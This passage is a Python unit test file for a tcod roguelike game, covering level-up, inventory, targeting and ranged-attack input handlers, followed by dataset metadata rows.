event_handler.on_render(console=console)
patch_draw_frame.assert_called_once_with(
x=40,
y=0,
width=35,
height=8,
title="Level Up",
clear=True,
fg=(255, 255, 255),
bg=(0, 0, 0),
)
def test_on_render_player_on_right(self):
'''
test that the level up window will render on the left when the player is on the right
'''
console = Console(width=50, height=50, order='F')
player = Actor(
x=40,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = LevelUpEventHandler(engine=eng)
with patch('tcod.console.Console.draw_frame') as patch_draw_frame:
event_handler.on_render(console=console)
patch_draw_frame.assert_called_once_with(
x=0,
y=0,
width=35,
height=8,
title="Level Up",
clear=True,
fg=(255, 255, 255),
bg=(0, 0, 0),
)
def test_ev_keydown_a(self):
'''
test that when a is pressed, the increase_max_hp function is called
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
eh = LevelUpEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.A, sym=tcod.event.K_a, mod=tcod.event.Modifier.NONE)
with patch('components.level.Level.increase_max_hp') as patch_increase_max_hp:
eh.ev_keydown(event=event)
patch_increase_max_hp.assert_called_once()
def test_ev_keydown_b(self):
'''
test that when b is pressed, the increase_power function is called
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
eh = LevelUpEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.B, sym=tcod.event.K_b, mod=tcod.event.Modifier.NONE)
with patch('components.level.Level.increase_power') as patch_increase_power:
eh.ev_keydown(event=event)
patch_increase_power.assert_called_once()
def test_ev_keydown_c(self):
'''
test that when c is pressed, the increase_defense function is called
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
eh = LevelUpEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.C, sym=tcod.event.K_c, mod=tcod.event.Modifier.NONE)
with patch('components.level.Level.increase_defense') as patch_increase_defense:
eh.ev_keydown(event=event)
patch_increase_defense.assert_called_once()
def test_ev_keydown_other(self):
'''
test that when g is pressed, the a message is added to the log and None is returned
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
eh = LevelUpEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.G, sym=tcod.event.K_g, mod=tcod.event.Modifier.NONE)
with patch('message_log.MessageLog.add_message') as patch_add_message:
ret = eh.ev_keydown(event=event)
patch_add_message.assert_called_once()
self.assertIsNone(ret)
def test_ev_mousebuttondown(self):
'''
test that if the mousebutton is clicked, None is returned
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
eh = LevelUpEventHandler(engine=eng)
event = tcod.event.MouseButtonDown()
ret = eh.ev_mousebuttondown(event=event)
self.assertIsNone(ret)
class TestIventoryEventHandler(unittest.TestCase):
def test_on_render_player_on_left(self):
'''
test that when the player is on the left, the window is offset
'''
console = Console(width=50, height=50, order='F')
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryEventHandler(engine=eng)
with patch('tcod.console.Console.draw_frame') as patch_draw_frame:
event_handler.on_render(console=console)
patch_draw_frame.assert_called_once_with(
x=40,
y=0,
width=19,
height=3,
title="<missing title>",
clear=True,
fg=(255, 255, 255),
bg=(0, 0, 0),
)
def test_on_render_player_on_right(self):
'''
test that when the player is on the right, the window is not offset
'''
console = Console(width=50, height=50, order='F')
player = Actor(
x=40,
y=40,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryEventHandler(engine=eng)
with patch('tcod.console.Console.draw_frame') as patch_draw_frame:
event_handler.on_render(console=console)
patch_draw_frame.assert_called_once_with(
x=0,
y=0,
width=19,
height=3,
title="<missing title>",
clear=True,
fg=(255, 255, 255),
bg=(0, 0, 0),
)
def test_on_render_height_calulated(self):
'''
test that when the player has multiple items, the height of the
window is calculated properly (num items + 2)
'''
console = Console(width=50, height=50, order='F')
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
player.inventory.items = [
Item(consumable=Consumable),
Item(consumable=Consumable),
Item(consumable=Consumable),
]
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryEventHandler(engine=eng)
with patch('tcod.console.Console.draw_frame') as patch_draw_frame:
event_handler.on_render(console=console)
patch_draw_frame.assert_called_once_with(
x=40,
y=0,
width=19,
height=5,
title="<missing title>",
clear=True,
fg=(255, 255, 255),
bg=(0, 0, 0),
)
def test_on_render_items_printed(self):
'''
test that when the player has multiple items, they are printed
on screen with the correct name and index
'''
console = Console(width=50, height=50, order='F')
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
player.inventory.items = [
Item(name="item1", consumable=Consumable),
Item(name="item2", consumable=Consumable),
Item(name="item3", consumable=Consumable),
]
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryEventHandler(engine=eng)
with patch('tcod.console.Console.print') as patch_print:
event_handler.on_render(console=console)
patch_print.assert_any_call(41, 1, '(a) item1')
patch_print.assert_any_call(41, 2, '(b) item2')
patch_print.assert_any_call(41, 3, '(c) item3')
def test_on_render_no_items(self):
'''
test that when the player has no items, one (Empty) row is printed
'''
console = Console(width=50, height=50, order='F')
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryEventHandler(engine=eng)
with patch('tcod.console.Console.print') as patch_print:
event_handler.on_render(console=console)
patch_print.assert_any_call(41, 1, '(Empty)')
def test_ev_keydown_good_index(self):
'''
test that hitting a letter key will grab the selected item
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
item1 = Item(name="item1", consumable=Consumable)
player.inventory.items = [
item1,
]
eng = Engine(player=player)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.A, sym=tcod.event.K_a, mod=tcod.event.Modifier.NONE)
with patch('input_handlers.InventoryEventHandler.on_item_selected') as patch_on_item_selected:
action = event_handler.ev_keydown(event=event)
patch_on_item_selected.assert_called_with(item1)
def test_ev_keydown_good_index_no_item(self):
'''
test that hitting a letter key will return None when
there is no available item
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
item1 = Item(name="item1", consumable=Consumable)
player.inventory.items = [
item1,
]
eng = Engine(player=player)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.B, sym=tcod.event.K_b, mod=tcod.event.Modifier.NONE)
with patch('message_log.MessageLog.add_message') as patch_add_message:
action = event_handler.ev_keydown(event=event)
patch_add_message.assert_called()
self.assertIsNone(action)
def test_ev_keydown_bad_index(self):
'''
test that hitting a non-letter key will invoke the
AskUserEventHandler's ev_keydown
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
item1 = Item(name="item1", consumable=Consumable)
player.inventory.items = [
item1,
]
eng = Engine(player=player)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryEventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.N1, sym=tcod.event.K_1, mod=tcod.event.Modifier.NONE)
with patch('input_handlers.AskUserEventHandler.ev_keydown') as patch_ev_keydown:
action = event_handler.ev_keydown(event=event)
patch_ev_keydown.assert_called()
def test_on_item_selected(self):
'''
test that this function will raise an error
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
item1 = Item(name="item1", consumable=Consumable)
player.inventory.items = [
item1,
]
eng = Engine(player=player)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryEventHandler(engine=eng)
with self.assertRaises(NotImplementedError):
event_handler.on_item_selected(item=item1)
class TestInventoryActivateHandler(unittest.TestCase):
def test_on_item_selected_consumable(self):
'''
test that selecting an item will call the get_action of the consumable
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
item1 = Item(name="item1", consumable=Consumable)
player.inventory.items = [
item1,
]
eng = Engine(player=player)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryActivateHandler(engine=eng)
with patch('components.consumable.Consumable.get_action') as patch_get_action:
action = event_handler.on_item_selected(item=item1)
patch_get_action.assert_called_once()
def test_on_item_selected_equippable(self):
'''
test that selecting an item will return the EquipAction action
'''
player = Actor(
ai_cls=BaseAI,
equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
item1 = Item(name="item1", equippable=Dagger())
player.inventory.items = [
item1,
]
eng = Engine(player=player)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryActivateHandler(engine=eng)
action = event_handler.on_item_selected(item=item1)
self.assertIsInstance(action, EquipAction)
def test_on_item_selected_other(self):
'''
test that selecting an item that is not consumable or equippable
will return none
'''
player = Actor(
ai_cls=BaseAI,
equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
item1 = Item(name="item1")
player.inventory.items = [
item1,
]
eng = Engine(player=player)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryActivateHandler(engine=eng)
action = event_handler.on_item_selected(item=item1)
self.assertIsNone(action)
class TestInventoryDropHandler(unittest.TestCase):
def test_on_item_selected(self):
'''
test that selecting an item will return a drop item action
'''
player = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
item1 = Item(name="item1", consumable=Consumable)
player.inventory.items = [
item1,
]
eng = Engine(player=player)
gm = GameMap(engine=eng, width=50, height=50)
eng.game_map = gm
player.parent = gm
event_handler = InventoryDropHandler(engine=eng)
action = event_handler.on_item_selected(item=item1)
self.assertIsInstance(action, DropItem)
class TestSelectIndexHandler(unittest.TestCase):
def test_init(self):
'''
test that the SelectIndexHandler is initialized correctly
'''
player = Actor(
x=5, y=6,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
e_handler = SelectIndexHandler(engine=eng)
expected_location = player.x, player.y
self.assertEqual(e_handler.engine.mouse_location, expected_location)
def test_on_render(self):
'''
test that the tile at the mouse location is rendered black on white
'''
player = Actor(
x=5, y=6,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
console = Console(width=10, height=10, order='F')
e_handler.on_render(console=console)
self.assertEqual(
tcod.console_get_char_background(con=console, x=5, y=6),
color.white
)
self.assertEqual(
tcod.console_get_char_foreground(con=console, x=5, y=6),
color.black
)
def test_ev_keydown_no_modifier(self):
'''
test that pressing no modifier keys will keep the modifier at 1
'''
player = Actor(
x=5, y=5,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
# pressing up should move us ONE tile in the -y direction
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE)
action = e_handler.ev_keydown(event=event)
self.assertIsNone(action)
self.assertEqual(eng.mouse_location, (5, 4))
def test_ev_keydown_SHIFT_modifier(self):
'''
test that the LSHIFT and RSHIFT keys will change the modifier to 5
'''
player = Actor(
x=5, y=5,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=20, height=20)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
# pressing down with LSHIFT should move us FIVE tiles in the +y direction
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.DOWN,
sym=tcod.event.K_DOWN,
mod=tcod.event.Modifier.LSHIFT
)
action = e_handler.ev_keydown(event=event)
self.assertIsNone(action)
self.assertEqual(eng.mouse_location, (5, 10))
# pressing right with RSHIFT should move us FIVE tiles in the +x direction
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.RIGHT,
sym=tcod.event.K_RIGHT,
mod=tcod.event.Modifier.RSHIFT
)
action = e_handler.ev_keydown(event=event)
self.assertIsNone(action)
self.assertEqual(eng.mouse_location, (10, 10))
def test_ev_keydown_CTRL_modifier(self):
'''
test that the LCTRL and RCTRL keys will change the modifier to 10
'''
player = Actor(
x=5, y=5,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=20, height=20)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
# pressing down with LCTRL should move us TEN tiles in the +y direction
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.DOWN,
sym=tcod.event.K_DOWN,
mod=tcod.event.Modifier.LCTRL
)
action = e_handler.ev_keydown(event=event)
self.assertIsNone(action)
self.assertEqual(eng.mouse_location, (5, 15))
# pressing right with RCTRL should move us TEN tiles in the +x direction
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.RIGHT,
sym=tcod.event.K_RIGHT,
mod=tcod.event.Modifier.RCTRL
)
action = e_handler.ev_keydown(event=event)
self.assertIsNone(action)
self.assertEqual(eng.mouse_location, (15, 15))
def test_ev_keydown_ALT_modifier(self):
'''
test that the LALT and RALT keys will change the modifier to 20
'''
player = Actor(
x=5, y=5,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=30, height=30)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
# pressing down with LALT should move us TWENTY tiles in the +y direction
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.DOWN,
sym=tcod.event.K_DOWN,
mod=tcod.event.Modifier.LALT
)
action = e_handler.ev_keydown(event=event)
self.assertIsNone(action)
self.assertEqual(eng.mouse_location, (5, 25))
# pressing right with RALT should move us TWENTY tiles in the +x direction
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.RIGHT,
sym=tcod.event.K_RIGHT,
mod=tcod.event.Modifier.RALT
)
action = e_handler.ev_keydown(event=event)
self.assertIsNone(action)
self.assertEqual(eng.mouse_location, (25, 25))
def test_ev_keydown_clamp_low(self):
'''
test that moving off the map too low will clamp back to 0,0
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_7,
sym=tcod.event.K_KP_7,
mod=tcod.event.Modifier.RSHIFT
)
action = e_handler.ev_keydown(event=event)
self.assertIsNone(action)
self.assertEqual(eng.mouse_location, (0, 0))
def test_ev_keydown_clamp_high(self):
'''
test that moving off the map too high will clamp back to the max game map corner
'''
player = Actor(
x=8, y=8,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.KP_3,
sym=tcod.event.K_KP_3,
mod=tcod.event.Modifier.LSHIFT
)
action = e_handler.ev_keydown(event=event)
self.assertIsNone(action)
self.assertEqual(eng.mouse_location, (9, 9))
def test_ev_keydown_CONFIRM_KEYS(self):
'''
test that hitting a confirm key will return on_index_selected at the location
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.RETURN,
sym=tcod.event.K_RETURN,
mod=tcod.event.Modifier.NONE
)
with patch('input_handlers.SelectIndexHandler.on_index_selected') as patch_on_index_selected:
patch_on_index_selected.return_value = None
action = e_handler.ev_keydown(event=event)
patch_on_index_selected.assert_called_once_with(1, 1)
def test_ev_keydown_other_key(self):
'''
test that hitting a random key will call the ev_keydown function of the parent class
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.G,
sym=tcod.event.K_g,
mod=tcod.event.Modifier.NONE
)
with patch('input_handlers.AskUserEventHandler.ev_keydown') as patch_ev_keydown:
action = e_handler.ev_keydown(event=event)
patch_ev_keydown.assert_called_once_with(event)
def test_ev_mousebuttondown_good_click(self):
'''
test that a left click on a tile in bounds will call on_index_selected
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
event = tcod.event.MouseButtonDown(
tile=(1, 1), button=tcod.event.BUTTON_LEFT)
with patch('input_handlers.SelectIndexHandler.on_index_selected') as patch_on_index_selected:
e_handler.ev_mousebuttondown(event=event)
patch_on_index_selected.assert_called_once_with(*event.tile)
def test_ev_mousebuttondown_out_of_bounds(self):
'''
test that clicking out of bounds will return the mousebuttonevent of the parent class
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
event = tcod.event.MouseButtonDown(
tile=(12, 12), button=tcod.event.BUTTON_LEFT)
with patch('input_handlers.AskUserEventHandler.ev_mousebuttondown') as patch_ev_mousebuttondown:
e_handler.ev_mousebuttondown(event=event)
patch_ev_mousebuttondown.assert_called_once_with(event)
def test_ev_mousebuttondown_right_click(self):
'''
test that a right click in bounds will return the mousebutton event of the parent
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
event = tcod.event.MouseButtonDown(
tile=(1, 1), button=tcod.event.BUTTON_RIGHT)
with patch('input_handlers.AskUserEventHandler.ev_mousebuttondown') as patch_ev_mousebuttondown:
e_handler.ev_mousebuttondown(event=event)
patch_ev_mousebuttondown.assert_called_once_with(event)
def test_on_index_selected(self):
'''
test that on_index_selected will raise a NotImplementedError
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = SelectIndexHandler(engine=eng)
with self.assertRaises(NotImplementedError):
e_handler.on_index_selected(x=1, y=1)
class TestLookHandler(unittest.TestCase):
def test_on_index_selected(self):
'''
test that the event handler gets returned to the main game event handler
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
e_handler = LookHandler(engine=eng)
ret = e_handler.on_index_selected(x=1, y=1)
self.assertIsInstance(ret, MainGameEventHandler)
class TestSingleRangedAttackHandler(unittest.TestCase):
def test_init(self):
'''
test that the engine and callback are initialized without issues
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
item = Item(consumable=Consumable())
item.parent = player
e_handler = SingleRangedAttackHandler(
engine=eng,
callback=lambda xy: ItemAction(
entity=player, item=item, target_xy=xy)
)
self.assertEqual(e_handler.engine, eng)
with patch('actions.ItemAction.__init__') as patch_ItemAction:
patch_ItemAction.return_value = None
e_handler.callback((0, 0))
patch_ItemAction.assert_called()
def test_on_index_selected(self):
'''
test that on_index_selected will call the callback
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
item = Item(consumable=Consumable())
item.parent = player
e_handler = SingleRangedAttackHandler(
engine=eng,
callback=lambda xy: ItemAction(
entity=player, item=item, target_xy=xy)
)
with patch('actions.ItemAction.__init__') as patch_ItemAction:
patch_ItemAction.return_value = None
e_handler.on_index_selected(x=1, y=1)
patch_ItemAction.assert_called()
class TestAreaRangedAttackHandler(unittest.TestCase):
def test_init(self):
'''
test that the handler can be initialized correctly
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
item = Item(consumable=Consumable())
item.parent = player
e_handler = AreaRangedAttackHandler(
engine=eng,
radius=5,
callback=lambda xy: ItemAction(
entity=player, item=item, target_xy=xy)
)
self.assertEqual(e_handler.engine, eng)
self.assertEqual(e_handler.radius, 5)
with patch('actions.ItemAction.__init__') as patch_ItemAction:
patch_ItemAction.return_value = None
e_handler.callback((0, 0))
patch_ItemAction.assert_called()
def test_on_render(self):
'''
test a frame matching the radius gets drawn to the console
'''
player = Actor(
x=5, y=6,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
eng.game_world = GameWorld(
engine=eng,
map_width=10,
map_height=10,
max_rooms=20,
room_min_size=2,
room_max_size=14,
)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
item = Item(consumable=Consumable())
item.parent = player
radius = 3
e_handler = AreaRangedAttackHandler(
engine=eng,
radius=radius,
callback=lambda xy: ItemAction(
entity=player, item=item, target_xy=xy)
)
console = Console(width=10, height=10, order='F')
expected_x = 5 - radius - 1
expected_y = 6 - radius - 1
expected_width = radius ** 2
expected_height = radius ** 2
with patch('tcod.console.Console.draw_frame') as patch_draw_frame:
e_handler.on_render(console=console)
patch_draw_frame.assert_called_once_with(
x=expected_x,
y=expected_y,
width=expected_width,
height=expected_height,
fg=color.red,
clear=False,
)
def test_on_index_selected(self):
'''
test that the callback function will be called
'''
player = Actor(
x=1, y=1,
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=player)
gm = GameMap(engine=eng, width=10, height=10)
eng.game_map = gm
player.parent = gm
item = Item(consumable=Consumable())
item.parent = player
e_handler = AreaRangedAttackHandler(
engine=eng,
radius=3,
callback=lambda xy: ItemAction(
entity=player, item=item, target_xy=xy)
)
with patch('actions.ItemAction.__init__') as patch_ItemAction:
patch_ItemAction.return_value = None
e_handler.on_index_selected(x=1, y=1)
patch_ItemAction.assert_called()
if __name__ == '__main__':
unittest.main()
| 37.203164
| 109
| 0.615743
| 10,667
| 89,362
| 5.007781
| 0.042655
| 0.059137
| 0.031169
| 0.032236
| 0.858437
| 0.830806
| 0.811711
| 0.792654
| 0.771538
| 0.747969
| 0
| 0.017944
| 0.28718
| 89,362
| 2,401
| 110
| 37.218659
| 0.820657
| 0.105727
| 0
| 0.7768
| 0
| 0
| 0.027476
| 0.021596
| 0
| 0
| 0
| 0.000833
| 0.1105
| 1
| 0.06707
| false
| 0.003299
| 0.009896
| 0
| 0.085761
| 0.004948
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
599a8e1c5612495325132b8ba93cad4950900323
| 58
|
py
|
Python
|
dillo/__init__.py
|
anubhav-narayan/dillO
|
93a28a93446691c8b6e983230cd16f5e07a98906
|
[
"MIT"
] | null | null | null |
dillo/__init__.py
|
anubhav-narayan/dillO
|
93a28a93446691c8b6e983230cd16f5e07a98906
|
[
"MIT"
] | null | null | null |
dillo/__init__.py
|
anubhav-narayan/dillO
|
93a28a93446691c8b6e983230cd16f5e07a98906
|
[
"MIT"
